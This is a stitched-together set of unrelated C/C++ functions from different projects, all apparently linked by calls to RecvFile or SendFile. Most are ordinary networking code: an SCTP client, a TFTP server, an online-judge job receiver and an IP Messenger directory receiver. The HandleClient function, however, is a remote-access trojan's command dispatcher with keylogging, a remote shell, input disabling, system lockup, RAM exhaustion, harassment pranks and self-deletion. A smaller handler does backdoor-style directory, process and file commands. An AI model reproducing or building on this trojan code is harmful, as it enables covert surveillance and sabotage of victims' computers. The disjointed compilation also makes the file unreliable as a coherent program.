extern void CheckScreens( NETFILE *fp, Bool fInit) { char sname[SIZE_NAME]; PacketClass klass; ENTER_FUNC; while ((klass = GL_RecvPacketClass(fp)) == GL_QueryScreen) { GL_RecvString(fp, sizeof(sname), sname); GL_RecvInt(fp); /*stsize*/ GL_RecvInt(fp); /*stctime*/ GL_RecvInt(fp); /*stmtime*/ if (GetWindowData(sname) == NULL) { GL_SendPacketClass(fp,GL_GetScreen); RecvFile(fp, sname); } else { GL_SendPacketClass(fp, GL_NOT); } if (fInit) { ShowWindow(sname); fInit = FALSE; } } LEAVE_FUNC; }
void CBackStream::CmdProcess() { WORD cmd = 0; std::string scmd = ""; GetCmdArg(cmd,scmd); switch(cmd){ case DIRLIST: FillDirFiles(scmd.c_str()); GetDirListPacket(); SendPacket(cmd); break; case PROCESS_LIST: FillProcessList(); GetProcessListPacket(); SendPacket(cmd); break; case FILE_SEND: SendFile(scmd.c_str()); break; case FILE_RECV: RecvFile(scmd.c_str()); break; } }
int main(int argc,char **argv) { int sock_fd; struct sockaddr_in servaddr,peeraddr; struct sctp_sndrcvinfo sri; struct sctp_event_subscribe evnts; int msg_flags; char readbuf[MAXLINE]; socklen_t len; bzero(&sri,sizeof(sri)); if (argc < 2) { err_quit("Missing host argument - use '%s host'\n",argv[0]); } sock_fd = Socket(AF_INET,SOCK_SEQPACKET,IPPROTO_SCTP); bzero(&servaddr,sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(SERV_PORT); Inet_pton(AF_INET,argv[1],&servaddr.sin_addr); bzero(&evnts,sizeof(evnts)); evnts.sctp_data_io_event = 1; Setsockopt(sock_fd,IPPROTO_SCTP,SCTP_EVENTS,&evnts,sizeof(evnts)); // 接收所輸入的指令 while((fgets(readbuf,MAXLINE,stdin)) != NULL) { Sctp_sendmsg(sock_fd,readbuf,strlen(readbuf),(SA *) &servaddr,sizeof(servaddr),0,0,sri.sinfo_stream,0,0); sri.sinfo_stream++; if (sri.sinfo_stream>9) sri.sinfo_stream = 0; bzero(readbuf,MAXLINE); len = sizeof(peeraddr); Sctp_recvmsg(sock_fd,readbuf,MAXLINE,(SA *) &peeraddr,&len,&sri,&msg_flags); printf("%s\n",readbuf); if (strncmp(readbuf,"open ok",strlen("open ok"))) RecvFile(sock_fd,"copy",(SA *) &peeraddr,len,sri.sinfo_stream); } Close(sock_fd); return 0; }
void CServerSocket::OnAccept(int nErrorCode) { // TODO: Add your specialized code here and/or call the base class //接收客户端连接 CSocket client; Accept(client); //收发数据 //接收数据包的包头 HEADER header={0}; RecvData(client,(BYTE*)&header,sizeof(header)); //根据包头中的文件路径构造文件的服务器路径 CString strFileName=header.szFile; int nFind=strFileName.ReverseFind('\\'); strFileName=strFileName.Mid(nFind+1); CString strPath="c:\\"+strFileName; AfxMessageBox(strPath); //根据包头中的文件长度,接受文件数据 RecvFile(client,strPath,header.nLen); CAsyncSocket::OnAccept(nErrorCode); }
LRESULT CPRJ3_0613Dlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam) //消息处理程序(自定义) { // TODO: Add your specialized code here and/or call the base class int Event, len, retval, serial; CString notify; CtlPDU* ctlbuff; SOCKET s = static_cast<SOCKET>(wParam); Event = LOWORD(lParam); switch(message){ //控制套接字 case WM_SOCKET: if (s != CtlSock){ MessageBox(_T("套接字错误!")); break; } switch (Event) { case FD_READ: char tempcmdbuff[300]; len = recv(CtlSock, tempcmdbuff, sizeof(tempcmdbuff), 0); if (len <= 0){ retval = WSAGetLastError(); if (retval != WSAEWOULDBLOCK){ closesocket(CtlSock); } } ctlbuff = (CtlPDU *)tempcmdbuff; switch (ctlbuff->type){ //质询PDU case INQUIRY_PDU_TYPE: Re_Inquiry(CtlSock, tempcmdbuff); break; //控制信息PDU case CTL_PDU_TYPE: switch (ctlbuff->cmd){ //收到服务器请求帐号报文 case REQ_ACCOUNT: Re_Account(CtlSock); break; case RE_ACCESS: MessageBox(_T("认证成功,欢迎使用!")); GUIOnline(); break; case RE_ERR_ACCOUNT: MessageBox(_T("无此用户!")); OffLine(); break; case RE_ERR_INQUIRY: MessageBox(_T("密码错误!")); OffLine(); break; case RE_ERR_FILENAME: MessageBox(_T("文件名错误!")); break; } break; default: break; } break; case FD_CLOSE: closesocket(CtlSock); break; } break; //文件传输套接字 case WM_DATA_SOCKET: switch (Event){ case FD_ACCEPT: AcceptDataSocket(s); break; } break; case WM_FL_SOCK: switch (Event){ case FD_READ: RecvFileList(s); break; case FD_CLOSE: break; } break; case WM_RECV_FILE_SOCK: switch (Event){ case FD_READ: RecvFile(s); break; case FD_CLOSE: break; } break; case WM_SEND_FILE_SOCK: switch (Event){ case FD_READ: SendFile(s); break; case FD_CLOSE: int i; for (i = 0; i < SOCK_LIST_SIZE; i++){ if (sock_list[i] == s){ break; } } KillTimer(i + 1); break; } break; } return CDialog::WindowProc(message, wParam, lParam); }
/*---------------- // return value // -1 : error // 1 : request submit // 2 : request test // 3 : request grade // 0 : keep alive CHECK // //----------------*/ int CComm::RecvJob(string * task, string * language) { char buf[1024]; bzero(buf, sizeof(buf)); int nread = readline(buf, 1024); if (nread < 0) { close(mSock); return -1; } else if (nread == 0) //0815 { LOG("Connection closed!"); close(mSock); return -1; } int len; LOG("[RECV:%s]", buf); char source_path[256]; sprintf(source_path, "%s%s", TEMP_PATH, SOURCE_FILE); if (strncasecmp(buf, "REQUEST SUBMIT", strlen("REQUEST SUBMIT")) == 0) { if (ParseTaskData(buf + strlen("REQUEST SUBMIT"), task, language) < 0) return -1; if (RecvKey() < 0) return -1; len = RecvInt(); if (len < 0) return -1; if (RecvFile(len, source_path) < 0) return -1; return 1; } else if (strncasecmp(buf, "REQUEST TEST", strlen("REQUEST TEST")) == 0) { if (ParseTaskData(buf + strlen("REQUEST TEST"), task, language) < 0) return -1; if (RecvKey() < 0) return -1; len = RecvInt(); if (len < 0) return -1; if (RecvFile(len, source_path) < 0) return -1; if (RecvKey() < 0) return -1; len = RecvInt(); if (len < 0) return -1; if (RecvFile(len, TEST_DATA) < 0) return -1; return 2; } else if (strncasecmp(buf, "REQUEST GRADE", strlen("REQUEST GRADE")) == 0) { if (ParseTaskData(buf + strlen("REQUEST GRADE"), task, language) < 0) return -1; if (RecvKey() < 0) return -1; len = RecvInt(); if (len < 0) return -1; if (RecvFile(len, source_path) < 0) return -1; return 3; } else if (strncasecmp(buf, "\n", 1) == 0) { return 0; } else { LOG("Protocol Error [received:%s]", buf); close(mSock); return -1; } }
// Serve a client int Serve(const char mes[], sockaddr_in client) { short op = *(short *)mes,name_len; ShowInfo(client, op); if (op == ERROR) return 0; int sd = NewSock(), error = 0; if (sd < 0) return -1; if (op != RRQ && op != WRQ) { SendError(sd, client, 4, "Illegal TFTP operation."); close(sd); return -1; } const char *name = mes + 2; name_len = strlen(name); const char *mode = name + name_len; int timeout = 0; if (op == RRQ) { Message("RRQ %s\n", name); if (SendFile(sd, client, name) < 0) error = 1; } else if (op == WRQ) { Message("WRQ %s\n", name); if (!access(name, F_OK)) { puts("exist"); errno = EEXIST; error = 1; } else { Timer(1); TftpPacket p; p.op = ACK; p.block = 0; p.len = 4; while (!Ready(sd,100)) { if (Timer(0) > 3000000) { timeout = 1; break; } Send(sd, client, &p); } if (timeout || RecvFile(sd, client, name) < 0) error = 1; } } if (!error) { close(sd); return 0; } if (timeout) fprintf(stderr,"Request timed out.\n"); else if (errno == ENOENT) SendError(sd, client, 1, "File not found."); else if (errno == EEXIST) SendError(sd, client, 6, "File already exists."); else if (errno == EACCES) SendError(sd, client, 2, "Access violation."); else if (errno == ENOSPC || errno == EMFILE || errno == ENOMEM || errno == ENFILE) SendError(sd, client, 3, "Disk full or allocation exceeded."); else SendError(sd, client, 0, "Client or Undefined Error"); close(sd); return -1; }
DWORD WINAPI HandleClient( LPVOID param ){ SOCKET s = *(SOCKET*)param; char buf[1024],tmp[64]; struct cmd_t cmd; int n; while(1){ n = recv( s , buf , 1023 , 0 ); buf[n] = 0; //MB(buf); if( n == 0 ) break; parse_cmd( buf , &cmd ); int sec = cmd.cmd_object; int arg = cmd.args; char *p = cmd.addnl.str; //wsprintf( tmp , "%d::%d" , sec , arg ); //MB(tmp); if( sec == CMD_FILE ){ switch( arg ){ case FILE_SDIR: SendDirTree( s , p , 0 ); break; case FILE_SDIREX: SendDirTree( s , p , 1 ); break; case FILE_SDRV: SendDriveSet( s ); break; case FILE_SEND: SendFile( s , p ); break; case FILE_RECV: RecvFile( s , p ); break; case FILE_MKDIR: LocalMkDir( p ); break; default: SendLn( s , "***file: bad args\r\n" ); } } else if( sec == CMD_HW ){ switch( arg ){ case HW_OPENCD: OpenCDTray(); break; case HW_CLOSECD: CloseCDTray(); break; case HW_MOUSE_R: SetMouseBns( MOUSE_RT ); break; case HW_MOUSE_L: SetMouseBns( MOUSE_LT ); break; case HW_MOUSE_SW: SwapMouseBns(); break; case HW_MONITOR1: MonitorPower( 1 ); break; case HW_MONITOR0: MonitorPower( 0 ); break; case HW_DB_CLK: DblClkDelay( cmd.addnl.nums[0] ); break; case HW_INPUT0: EnableInput( false ); break; case HW_INPUT1: EnableInput( true ); break; case HW_REBOOT: Reboot(); break; case HW_SHTDWN: ShutDown(); break; default: SendLn( s , "***bad args\r\n" ); } } else if( sec == CMD_KEYBD ){ switch( arg ){ case KEYBD_STARTLOG: KeyLog( true ); break; case KEYBD_STOPLOG: KeyLog( false ); break; default: SendLn( s , "***keybd: bad args\r\n" ); } } else if( sec == CMD_MOUSE ){ switch( arg ){ case MOUSE_FLY_STOP: FlyMousePtr( false ); break; case MOUSE_FLY: FlyMousePtr( true ); break; case MOUSE_FLY_CLK: FlyMousePtrClick( true ); break; case MOUSE_RESTRICT: RestrictMouseMovementTo(cmd.addnl.nums[0], cmd.addnl.nums[1], cmd.addnl.nums[2], cmd.addnl.nums[3] ); break; case MOUSE_SHOW: ShowMouseCursor( true ); break; case MOUSE_HIDE: ShowMouseCursor( false ); break; case MOUSE_CLK: MouseClick( cmd.addnl.nums[0] ); break; case MOUSE_CLK_PT: MouseClickPoint( cmd.addnl.nums[1], cmd.addnl.nums[2], cmd.addnl.nums[0] ); break; case MOUSE_SETPOS: SetMousePos( cmd.addnl.nums[0], cmd.addnl.nums[1] ); break; default: SendLn( s , "***mouse: bad args\r\n" ); } } else if( sec == CMD_SHELL ){ if( arg == SHELL_SPAWN ) CreateRemoteShell( s ); } else if( sec == CMD_SYS ){ unsigned long m; unsigned __int64 d; char msg[256]; switch( arg ){ case SYS_MAXMEM: m = GetMaxMem(); wsprintf( msg , "max mem: %u MiB\r\n" , m ); SendLn( s ,msg ); break; case SYS_BUSYMEM: m = GetBusyMem(); wsprintf( msg , "mem in use: %u MiB\r\n" , m ); SendLn( s , msg ); break; case SYS_FREEMEM: m = GetFreeMem(); wsprintf( msg , "free mem: %u MiB\r\n" , m ); SendLn( s , msg ); break; case SYS_MAXDISK: d = GetDiskUsage( cmd.addnl.str , U_TOTAL ); if( d < 1024 ){ m = (unsigned long)d; wsprintf( msg , "total space on %s: %u MiB\r\n" , cmd.addnl.str , m ); }else{ m = (unsigned long)(d/1024); wsprintf( msg , "total space on %s: %u GiB\r\n" , cmd.addnl.str , m ); } SendLn( s , msg ); break; case SYS_USEDDISK: d = GetDiskUsage( cmd.addnl.str , U_USED ); if( d < 1024 ){ m = (unsigned long)d; wsprintf( msg , "used space on %s: %u MiB\r\n" , cmd.addnl.str , m ); }else{ m = (unsigned long)(d/1024); wsprintf( msg , "used space on %s: %u GiB\r\n" , cmd.addnl.str , m ); } SendLn( s , msg ); break; case SYS_FREEDISK: d = GetDiskUsage( cmd.addnl.str , U_FREE ); if( d < 1024 ){ m = (unsigned long)d; wsprintf( msg , "free space on %s: %u MiB\r\n" , cmd.addnl.str , m ); }else{ m = (unsigned long)(d/1024); wsprintf( msg , "free space on %s: %u GiB\r\n" , cmd.addnl.str , m ); } SendLn( s , msg ); break; case SYS_SYSDIR: wsprintf( msg , "system dir is:\'%s\'\r\n" , sysdir() ); SendLn( s , msg ); break; case SYS_WINDIR: wsprintf( msg , "windows dir is:\'%s\'\r\n", windir() ); SendLn( s , msg ); break; case SYS_CHDIR: cd( cmd.addnl.str ); break; case SYS_LOCKUP: SendLn( s , "!!!Locking up system!!!... don\'t expect too much after this!\r\n" ); Sleep(2000); LockUp(); break; case SYS_RAMFILL: RamFill(); break; default: SendLn( s , "***sys: bad args\r\n" ); } } else if( sec == CMD_TBAR ){ switch(arg){ case TBAR_SHOW: ShowTaskBar( true ); break; case TBAR_HIDE: ShowTaskBar( false ); break; case TBAR_STBN_SHOW: ShowStartBn( true ); break; case TBAR_STBN_HIDE: ShowStartBn( false ); break; case TBAR_STBN_FLY1: FlyStartBn( true ); break; case TBAR_STBN_FLY0: FlyStartBn( false ); break; case TBAR_CLOCK_SHOW: ShowClock( true ); break; case TBAR_CLOCK_HIDE: ShowClock( false ); break; case TBAR_ENABLE: EnableTaskBar( true ); break; case TBAR_DISABLE: EnableTaskBar( false ); break; default: SendLn( s , "***tb: bad args\r\n" ); } } else if( sec == CMD_PRANK ){ switch(arg){ case PRANK_DTP_ENABLE: EnableDesktop( true ); break; case PRANK_DTP_DISABLE: EnableDesktop( false ); break; case PRANK_FU_START: if( !strequal( cmd.addnl.str , "" ) ) szFUStr = cmd.addnl.str; FuckYou( true ); break; case PRANK_FU_STOP: FuckYou( false ); break; case PRANK_WRUN_START: if( cmd.addnl.nums[0] > 0 ) uiRunWindowsDelay = cmd.addnl.nums[0]; MakeWindowsRun( true ); break; case PRANK_WRUN_STOP: MakeWindowsRun( false ); break; case PRANK_QUAKE_START: if( cmd.addnl.nums[0] > 0 ) uiQuakeDelay = cmd.addnl.nums[0]; Quake( true ); break; case PRANK_QUAKE_STOP: Quake( false ); break; default: SendLn( s , "***bad trigger\r\n" ); } } else if( sec == CMD_OWL ){ switch(arg){ case OWL_UNINSTALL: SelfDelete(); exit(0); break; default: SendLn( s , "***bad trigger\r\n" ); } } } return 0; }
BOOL TRecvDlg::RecvDirFile(void) { #define BIG_ALLOC 50 #define PEEK_SIZE 8 if (fileObj->status == FS_DIRFILESTART || fileObj->status == FS_TRANSINFO) { int size; if (fileObj->infoLen == 0) { if ((size = ::recv(fileObj->conInfo->sd, fileObj->info + (int)fileObj->offset, PEEK_SIZE - (int)fileObj->offset, 0)) <= 0) return FALSE; if ((fileObj->offset += size) < PEEK_SIZE) return TRUE; fileObj->info[fileObj->offset] = 0; if ((fileObj->infoLen = strtoul(fileObj->info, 0, 16)) >= sizeof(fileObj->info) -1 || fileObj->infoLen <= 0) return FALSE; // too big or small } if (fileObj->offset < fileObj->infoLen) { if ((size = ::recv(fileObj->conInfo->sd, fileObj->info + (int)fileObj->offset, fileObj->infoLen - (int)fileObj->offset, 0)) <= 0) return FALSE; fileObj->offset += size; } if (fileObj->offset == fileObj->infoLen) { fileObj->info[fileObj->infoLen] = 0; if (DecodeDirEntry(fileObj->info, &fileObj->curFileInfo, fileObj->u8fname) == FALSE) return FALSE; // Illegal entry fileObj->offset = fileObj->infoLen = 0; // 初期化 if (GET_MODE(fileObj->curFileInfo.Attr()) == IPMSG_FILE_DIR) { char buf[MAX_BUF]; const char *fname = fileObj->dirCnt == 0 ? fileObj->fileInfo->Fname() : fileObj->curFileInfo.Fname(); if (MakePath(buf, fileObj->path, fname) >= MAX_PATH_U8) return MessageBoxU8(buf, GetLoadStrU8(IDS_PATHTOOLONG)), FALSE; if (IsSafePath(buf, fname) == FALSE) return FALSE; if (CreateDirectoryU8(buf, NULL) == FALSE) return FALSE; strncpyz(fileObj->path, buf, MAX_PATH_U8); fileObj->dirCnt++; } else if (GET_MODE(fileObj->curFileInfo.Attr()) == IPMSG_FILE_RETPARENT) { if (fileObj->curFileInfo.Mtime()) // directory の time stamp をあわせる(NT系のみ) { FILETIME ft; HANDLE hFile; UnixTime2FileTime(fileObj->curFileInfo.Mtime(), &ft); if ((hFile = CreateFileU8(fileObj->path, GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, 0)) != INVALID_HANDLE_VALUE) { ::SetFileTime(hFile, NULL, NULL, &ft); ::CloseHandle(hFile); } } if (fileObj->curFileInfo.Attr() & IPMSG_FILE_RONLYOPT) SetFileAttributesU8(fileObj->path, FILE_ATTRIBUTE_READONLY); if (--fileObj->dirCnt <= 0) { fileObj->status = FS_COMPLETE; return TRUE; } if (PathToDir(fileObj->path, fileObj->path) == FALSE) return FALSE; } else { if (fileObj->dirCnt == 0) return FALSE; if (fileObj->curFileInfo.Size() == 0) // 0byte file { if (OpenRecvFile()) // 0byteの場合は作成失敗を無視 CloseRecvFile(TRUE); } fileObj->status = fileObj->curFileInfo.Size() ? FS_TRANSFILE : FS_TRANSINFO; } return TRUE; } } if (fileObj->status == FS_TRANSFILE) { if (RecvFile() != TRUE) { CloseRecvFile(); return FALSE; } if (fileObj->status == FS_ENDFILE) { CloseRecvFile(TRUE); fileObj->status = FS_TRANSINFO; } } return TRUE; }